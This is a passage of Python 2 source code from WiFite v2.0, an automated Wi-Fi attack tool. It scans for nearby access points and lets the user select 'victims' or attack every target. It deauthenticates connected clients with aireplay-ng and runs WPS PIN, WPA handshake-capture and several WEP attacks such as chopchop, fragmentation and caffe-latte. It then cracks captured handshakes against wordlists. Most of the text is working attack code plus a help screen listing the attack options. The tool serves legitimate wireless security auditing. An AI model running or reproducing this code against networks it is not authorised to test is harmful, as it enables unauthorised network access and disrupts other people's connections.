line.find('(removed)') != -1:
continue
original_iface = line.split()[0]
print_and_exec(['ifconfig', original_iface, 'down'])
print_and_exec(['rmmod', 'rtl8187'])
print_and_exec(['rfkill', 'block', 'all'])
print_and_exec(['rfkill', 'unblock', 'all'])
print_and_exec(['modprobe', 'rtl8187'])
print_and_exec(['ifconfig', original_iface, 'up'])
print_and_exec(['airmon-ng', 'start', original_iface])
print '\r \r',
print O + ' [!] ' + W + 'restarting scan...\n'
return True
def get_iface(self):
"""
Get the wireless interface in monitor mode.
Defaults to only device in monitor mode if found.
Otherwise, enumerates list of possible wifi devices
and asks user to select one to put into monitor mode (if multiple).
Uses airmon-ng to put device in monitor mode if needed.
Returns the name (string) of the interface chosen in monitor mode.
"""
if not self.RUN_CONFIG.PRINTED_SCANNING:
print GR + ' [+]' + W + ' scanning for wireless devices...'
self.RUN_CONFIG.PRINTED_SCANNING = True
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
iface = ''
monitors = []
adapters = []
for line in proc.communicate()[0].split('\n'):
if len(line) == 0: continue
if ord(line[0]) != 32:
iface = line[:line.find(' ')]
if line.find('Mode:Monitor') != -1:
monitors.append(iface)
else:
adapters.append(iface)
if self.RUN_CONFIG.WIRELESS_IFACE != '':
if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
return self.RUN_CONFIG.WIRELESS_IFACE
else:
if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
else:
print R + ' [!]' + O + ' could not find wireless interface %s' % (
'"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
self.RUN_CONFIG.exit_gracefully(0)
if len(monitors) == 1:
return monitors[0]
elif len(monitors) > 1:
print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
for i, monitor in enumerate(monitors):
print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
(GR, W, G, W, G, len(monitors), W, G))
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
(GR, W, G, len(monitors), W, G))
i = int(ri)
return monitors[i - 1]
proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
monitors.append(line)
if len(monitors) == 0:
print R + ' [!]' + O + " no wireless interfaces were found." + W
print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
self.RUN_CONFIG.exit_gracefully(0)
elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
monitor = monitors[0][:monitors[0].find('\t')]
return self.enable_monitor_mode(monitor)
elif len(monitors) == 1:
monitor = monitors[0][:monitors[0].find('\t')]
if monitor.startswith('phy'): monitor = monitors[0].split()[1]
return self.enable_monitor_mode(monitor)
print GR + " [+]" + W + " available wireless devices:"
for i, monitor in enumerate(monitors):
print " %s%d%s. %s" % (G, i + 1, W, monitor)
ri = raw_input(
GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
i = int(ri)
monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
return self.enable_monitor_mode(monitor)
def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
"""
Scans for access points. Asks user to select target(s).
"channel" - the channel to scan on, 0 scans all channels.
"iface" - the interface to scan on. must be a real interface.
"tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
Returns list of selected targets and list of clients.
"""
airodump_file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wifite')
csv_file = airodump_file_prefix + '-01.csv'
cap_file = airodump_file_prefix + '-01.cap'
remove_airodump_files(airodump_file_prefix)
command = ['airodump-ng',
'-a',
'--write-interval', '1',
'-w', airodump_file_prefix]
if channel != 0:
command.append('-c')
command.append(str(channel))
command.append(iface)
proc = Popen(command, stdout=DN, stderr=DN)
time_started = time.time()
print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
(targets, clients) = ([], [])
try:
deauth_sent = 0.0
old_targets = []
stop_scanning = False
while True:
time.sleep(0.3)
if not os.path.exists(csv_file) and time.time() - time_started > 1.0:
print R + '\n [!] ERROR!' + W
if proc.poll() is not None:
proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
send_interrupt(proc)
if self.rtl8187_fix(iface):
return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
self.RUN_CONFIG.exit_gracefully(1)
(targets, clients) = self.parse_csv(csv_file)
if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
index = 0
while index < len(targets):
already = False
for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
if targets[index].ssid.lower() == cracked.ssid.lower():
already = True
if targets[index].bssid.lower() == cracked.bssid.lower():
already = True
if already == True:
targets.pop(index)
index -= 1
index += 1
if self.RUN_CONFIG.TARGET_ESSID != '':
for t in targets:
if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
send_interrupt(proc)
try:
os.kill(proc.pid, SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
targets = [t]
stop_scanning = True
break
if self.RUN_CONFIG.TARGET_BSSID != '':
for t in targets:
if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
send_interrupt(proc)
try:
os.kill(proc.pid, SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
targets = [t]
stop_scanning = True
break
if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
G, len(targets), W, '' if len(targets) == 1 else 's')
stop_scanning = True
if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
i = 0
before_count = len(targets)
while i < len(targets):
if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
targets.pop(i)
else:
i += 1
print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
(G + str(before_count - len(targets)) + W,
self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
stop_scanning = True
if stop_scanning: break
if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
deauth_sent = time.time()
for t in targets:
if t.ssid == '' or '\x00' in t.ssid or '\\x00' in t.ssid:
print "\r %s deauthing hidden access point (%s) \r" % \
(GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
stdout.flush()
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
'-a', t.bssid]
for c in clients:
if c.station == t.bssid:
cmd.append('-c')
cmd.append(c.bssid)
break
cmd.append(iface)
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
proc_aireplay.wait()
time.sleep(0.5)
else:
for ot in old_targets:
if ot.ssid == '' and ot.bssid == t.bssid:
print '\r %s successfully decloaked "%s" ' % \
(GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
old_targets = targets[:]
if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
targets = sorted(targets, key=lambda t: t.power, reverse=True)
if not self.RUN_CONFIG.WPS_DISABLE:
wps_check_targets(targets, cap_file, verbose=False)
os.system('clear')
print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
print ' --- -------------------- %s-- ---- ----- ---- ------' % (
'----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
p = O + '(' + target.bssid + ')' + GR + ' ' + W
print '%s' % p.ljust(20),
elif len(target.ssid) <= 20:
print "%s" % C + target.ssid.ljust(20) + W,
else:
print "%s" % C + target.ssid[0:17] + '...' + W,
if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
print O, target.bssid + W,
print G + target.channel.rjust(3), W,
if target.encryption.find("WEP") != -1:
print G,
else:
print O,
print "\b%3s" % target.encryption.strip().ljust(4) + W,
if target.power >= 55:
col = G
elif target.power >= 40:
col = O
else:
col = R
print "%s%3ddb%s" % (col, target.power, W),
if self.RUN_CONFIG.WPS_DISABLE:
print " %3s" % (O + 'n/a' + W),
else:
print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
client_text = ''
for c in clients:
if c.station == target.bssid:
if client_text == '':
client_text = 'client'
elif client_text[-1] != "s":
client_text += "s"
if client_text != '':
print ' %s' % (G + client_text + W)
else:
print ''
print ''
print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
stdout.flush()
except KeyboardInterrupt:
pass
print ''
send_interrupt(proc)
try:
os.kill(proc.pid, SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
if not self.RUN_CONFIG.WPS_DISABLE:
wps_check_targets(targets, cap_file)
remove_airodump_files(airodump_file_prefix)
if stop_scanning:
return (targets, clients)
print ''
if len(targets) == 0:
print R + ' [!]' + O + ' no targets found!' + W
print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
print ''
self.RUN_CONFIG.exit_gracefully(1)
if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
targets = sorted(targets, key=lambda t: t.power, reverse=True)
victims = []
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
print ' --- -------------------- %s-- ---- ----- ---- ------' % (
'----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
for i, target in enumerate(targets):
print " %s%2d%s " % (G, i + 1, W),
if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
p = O + '(' + target.bssid + ')' + GR + ' ' + W
print '%s' % p.ljust(20),
elif len(target.ssid) <= 20:
print "%s" % C + target.ssid.ljust(20) + W,
else:
print "%s" % C + target.ssid[0:17] + '...' + W,
if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
print O, target.bssid + W,
print G + target.channel.rjust(3), W,
if target.encryption.find("WEP") != -1:
print G,
else:
print O,
print "\b%3s" % target.encryption.strip().ljust(4) + W,
if target.power >= 55:
col = G
elif target.power >= 40:
col = O
else:
col = R
print "%s%3ddb%s" % (col, target.power, W),
if self.RUN_CONFIG.WPS_DISABLE:
print " %3s" % (O + 'n/a' + W),
else:
print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
client_text = ''
for c in clients:
if c.station == target.bssid:
if client_text == '':
client_text = 'client'
elif client_text[-1] != "s":
client_text += "s"
if client_text != '':
print ' %s' % (G + client_text + W)
else:
print ''
ri = raw_input(
GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
" separated by commas, or '%s': " % (G + 'all' + W))
if ri.strip().lower() == 'all':
victims = targets[:]
else:
for r in ri.split(','):
r = r.strip()
if r.find('-') != -1:
(sx, sy) = r.split('-')
if sx.isdigit() and sy.isdigit():
x = int(sx)
y = int(sy) + 1
for v in xrange(x, y):
victims.append(targets[v - 1])
elif not r.isdigit() and r.strip() != '':
print O + " [!]" + R + " not a number: %s " % (O + r + W)
elif r != '':
victims.append(targets[int(r) - 1])
if len(victims) == 0:
print O + '\n [!] ' + R + 'no targets selected.\n' + W
self.RUN_CONFIG.exit_gracefully(0)
print ''
print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
return (victims, clients)
def Start(self):
self.RUN_CONFIG.CreateTempFolder()
self.RUN_CONFIG.handle_args()
self.RUN_CONFIG.ConfirmRunningAsRoot()
self.RUN_CONFIG.ConfirmCorrectPlatform()
self.initial_check()
if self.RUN_CONFIG.MONITOR_IFACE != '':
iface = self.RUN_CONFIG.MONITOR_IFACE
else:
iface = self.get_iface()
self.RUN_CONFIG.THIS_MAC = get_mac_address(iface)
(targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
try:
index = 0
while index < len(targets):
target = targets[index]
for already in RUN_CONFIG.CRACKED_TARGETS:
if already.bssid == targets[index].bssid:
if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
ri = raw_input(
GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
if ri.lower() == 'n':
targets.pop(index)
index -= 1
else:
targets.pop(index)
index -= 1
break
handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
+ '_' + target.bssid.replace(':', '-') + '.cap'
if os.path.exists(handshake_file):
print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
print ' %s\n' % (G + handshake_file + W)
print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
ri = 'x'
while ri != 's' and ri != 'c' and ri != 'o':
ri = raw_input(
GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
print W + "\b",
if ri == 's':
targets.pop(index)
index -= 1
elif ri == 'o':
remove_file(handshake_file)
continue
index += 1
except KeyboardInterrupt:
print '\n ' + R + '(^C)' + O + ' interrupted\n'
self.RUN_CONFIG.exit_gracefully(0)
wpa_success = 0
wep_success = 0
wpa_total = 0
wep_total = 0
self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
for t in targets:
self.RUN_CONFIG.TARGETS_REMAINING -= 1
ts_clients = []
for c in clients:
if c.station == t.bssid:
ts_clients.append(c)
print ''
if t.encryption.find('WPA') != -1:
need_handshake = True
if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
need_handshake = not wps_attack.RunAttack()
wpa_total += 1
if not need_handshake: wpa_success += 1
if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
wpa_total += 1
wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
if wpa_attack.RunAttack():
wpa_success += 1
elif t.encryption.find('WEP') != -1:
wep_total += 1
wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
if wep_attack.RunAttack():
wep_success += 1
else:
print R + ' unknown encryption:', t.encryption, W
if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
if wpa_total + wep_total > 0:
print ''
print GR + ' [+] %s%d attack%s completed:%s' % (
G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
print ''
if wpa_total > 0:
if wpa_success == 0:
print GR + ' [+]' + R,
elif wpa_success == wpa_total:
print GR + ' [+]' + G,
else:
print GR + ' [+]' + O,
print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
for finding in self.RUN_CONFIG.WPA_FINDINGS:
print ' ' + C + finding + W
if wep_total > 0:
if wep_success == 0:
print GR + ' [+]' + R,
elif wep_success == wep_total:
print GR + ' [+]' + G,
else:
print GR + ' [+]' + O,
print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
for finding in self.RUN_CONFIG.WEP_FINDINGS:
print ' ' + C + finding + W
caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
G, caps, W if caps == 1 else 's' + W)
for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
wpa_crack(cap, self.RUN_CONFIG)
print ''
self.RUN_CONFIG.exit_gracefully(0)
def parse_csv(self, filename):
"""
Parses given lines from airodump-ng CSV file.
Returns tuple: List of targets and list of clients.
"""
if not os.path.exists(filename): return ([], [])
targets = []
clients = []
try:
hit_clients = False
with open(filename, 'rb') as csvfile:
targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
for row in targetreader:
if len(row) < 2:
continue
if not hit_clients:
if row[0].strip() == 'Station MAC':
hit_clients = True
continue
if len(row) < 14:
continue
if row[0].strip() == 'BSSID':
continue
enc = row[5].strip()
wps = False
if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
'WPA') != -1: continue
if enc == "WPA2WPA" or enc == "WPA2 WPA":
enc = "WPA2"
wps = True
if len(enc) > 4:
enc = enc[4:].strip()
power = int(row[8].strip())
ssid = row[13].strip()
ssidlen = int(row[12].strip())
ssid = ssid[:ssidlen]
if power < 0: power += 100
t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
t.wps = wps
targets.append(t)
else:
if len(row) < 6:
continue
bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
power = row[3].strip()
if station != 'notassociated':
c = Client(bssid, station, power)
clients.append(c)
except IOError as e:
print "I/O error({0}): {1}".format(e.errno, e.strerror)
return ([], [])
return (targets, clients)
def analyze_capfile(self, capfile):
"""
Analyzes given capfile for handshakes using various programs.
Prints results to console.
"""
wpa_attack = WPAAttack(None, None, None, None)
if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
if self.RUN_CONFIG.TARGET_BSSID == '':
self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
if self.RUN_CONFIG.TARGET_BSSID == '':
print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
else:
print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
if program_exists('pyrit'):
result = wpa_attack.has_handshake_pyrit(t, capfile)
print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
G + 'found!' + W if result else O + 'not found' + W)
else:
print R + ' [!]' + O + ' program not found: pyrit'
if program_exists('cowpatty'):
result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
G + 'found!' + W if result else O + 'not found' + W)
result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
G + 'found!' + W if result else O + 'not found' + W)
else:
print R + ' [!]' + O + ' program not found: cowpatty'
if program_exists('tshark'):
result = wpa_attack.has_handshake_tshark(t, capfile)
print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
G + 'found!' + W if result else O + 'not found' + W)
else:
print R + ' [!]' + O + ' program not found: tshark'
if program_exists('aircrack-ng'):
result = wpa_attack.has_handshake_aircrack(t, capfile)
print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
G + 'found!' + W if result else O + 'not found' + W)
else:
print R + ' [!]' + O + ' program not found: aircrack-ng'
print ''
self.RUN_CONFIG.exit_gracefully(0)
def rename(old, new):
"""
Renames file 'old' to 'new', works with separate partitions.
Thanks to hannan.sadar
"""
try:
os.rename(old, new)
except os.error, detail:
if detail.errno == errno.EXDEV:
try:
copy(old, new)
except:
os.unlink(new)
raise
os.unlink(old)
else:
raise
def banner(RUN_CONFIG):
"""
Displays ASCII art of the highest caliber.
"""
print ''
print G + " .;' `;, "
print G + " .;' ,;' `;, `;, " + W + "WiFite v2.0 (r" + str(RUN_CONFIG.REVISION) + ")"
print G + ".;' ,;' ,;' `;, `;, `;, "
print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + G + "try the new version:"
print G + " ':. " + GR + "/_____\\" + G + " ,:' " + C + "https://github.com/derv82/wifite2"
print G + " " + GR + "/ \\" + G + " "
print W
def help():
"""
Prints help screen
"""
head = W
sw = G
var = GR
des = W
de = G
print head + ' COMMANDS' + W
print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
print ''
print head + ' GLOBAL' + W
print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
print ''
print head + '\n WPA' + W
print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
print head + '\n WEP' + W
print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
print head + '\n WPS' + W
print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
print head + '\n EXAMPLE' + W
print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
print ''
def wps_check_targets(targets, cap_file, verbose=True):
"""
Uses tshark to check access points in cap_file for WPS functionality.
Sets "wps" field of targets that match to True.
"""
global RUN_CONFIG
if not program_exists('tshark'):
RUN_CONFIG.WPS_DISABLE = True
return
if len(targets) == 0 or not os.path.exists(cap_file): return
if verbose:
print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
stdout.flush()
cmd = [
'tshark',
'-r', cap_file,
'-n',
'-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',
'-T', 'fields',
'-e', 'wlan.ta',
'-e', 'wps.ap_setup_locked',
'-E', 'separator=,'
]
proc_tshark = Popen(cmd, stdout=PIPE, stderr=DN)
proc_tshark.wait()
tshark_stdout, _ = proc_tshark.communicate()
bssid_regex = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
bssids = [bssid.upper() for bssid in bssid_regex.findall(tshark_stdout)]
for t in targets:
if t.bssid.upper() in bssids:
t.wps = True
t.wps = t.bssid.upper() in bssids
if verbose:
print 'done'
removed = 0
if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
i = 0
while i < len(targets):
if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
removed += 1
targets.pop(i)
else:
i += 1
if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
def print_and_exec(cmd):
"""
Prints and executes command "cmd". Also waits half a second
Used by rtl8187_fix (for prettiness)
"""
print '\r \r',
stdout.flush()
print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
stdout.flush()
call(cmd, stdout=DN, stderr=DN)
time.sleep(0.1)
def remove_airodump_files(prefix):
"""
Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
Used by wpa_get_handshake() and attack_wep()
"""
global RUN_CONFIG
remove_file(prefix + '-01.cap')
remove_file(prefix + '-01.csv')
remove_file(prefix + '-01.kismet.csv')
remove_file(prefix + '-01.kismet.netxml')
for filename in os.listdir(RUN_CONFIG.temp):
if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
for filename in os.listdir('.'):
if filename.startswith('replay_') and filename.endswith('.cap'):
remove_file(filename)
if filename.endswith('.xor'): remove_file(filename)
"""i = 2
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
os.remove(temp + 'wep-' + str(i) + '.cap')
i += 1
"""
def remove_file(filename):
"""
Attempts to remove a file. Does not throw error if file is not found.
"""
try:
os.remove(filename)
except OSError:
pass
def program_exists(program):
"""
Uses 'which' (linux command) to check if a program is installed.
"""
proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
txt = proc.communicate()
if txt[0].strip() == '' and txt[1].strip() == '':
return False
if txt[0].strip() != '' and txt[1].strip() == '':
return True
return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
def sec_to_hms(sec):
"""
Converts integer sec to h:mm:ss format
"""
if sec <= -1: return '[endless]'
h = sec / 3600
sec %= 3600
m = sec / 60
sec %= 60
return '[%d:%02d:%02d]' % (h, m, sec)
def send_interrupt(process):
"""
Sends interrupt signal to process's PID.
"""
try:
os.kill(process.pid, SIGINT)
except OSError:
pass
except TypeError:
pass
except UnboundLocalError:
pass
except AttributeError:
pass
def get_mac_address(iface):
"""
Returns MAC address of "iface".
"""
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
proc.wait()
mac = ''
output = proc.communicate()[0]
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
